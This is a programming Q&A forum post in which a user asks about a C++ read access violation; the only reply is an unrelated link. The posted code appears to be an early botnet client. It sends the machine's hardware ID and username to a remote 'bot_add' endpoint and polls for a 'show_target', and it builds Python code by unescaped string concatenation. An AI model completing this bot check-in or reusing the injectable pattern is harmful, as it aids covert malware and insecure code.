T
T
Ternick2019-04-12 22:56:51
C++ / C#
Ternick, 2019-04-12 22:56:51

What is this error Unhandled exception thrown: read access violation. _Pnext was 0xCCCCCCD0.?

THE ERROR MUST BE HERE SOMEWHERE:

string request(string url, string data) {//скорее всего причина багов
  string url_r = url + "?" + data;
  return python_shell(code_normalization("from requests import get\nget('" + url_r + "')"));
}

string execution_receiving_target(string url, string hwid) {
  cout << "lol1" << endl;
  string code = request(url, "function=show_target&hwid=" + hwid);
  cout << code.c_str() << endl;
  return NULL;
}

int main(){
  string url = "http://sito.com/main.php";
  string hwid = get_hwid();
  string username = get_username();
  if (is_internet(url) == "1") {
    cout << "lol" << endl;
    request(url, "function=bot_add&hwid=" + hwid + "&username=" + username);//НЕ работает
    execution_receiving_target(url, hwid);//НЕ работает
    cin.get();
  }
  return NULL;
}

The site is up and running correctly.

Answer the question

In order to leave comments, you need to log in

1 answer(s)
R
Roman, 2019-04-13
@Ternick

What could be wrong?

Nikita Ternovoy , see it's not the name -> Why are there two newlines at the end of the function response and how to remove them?

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question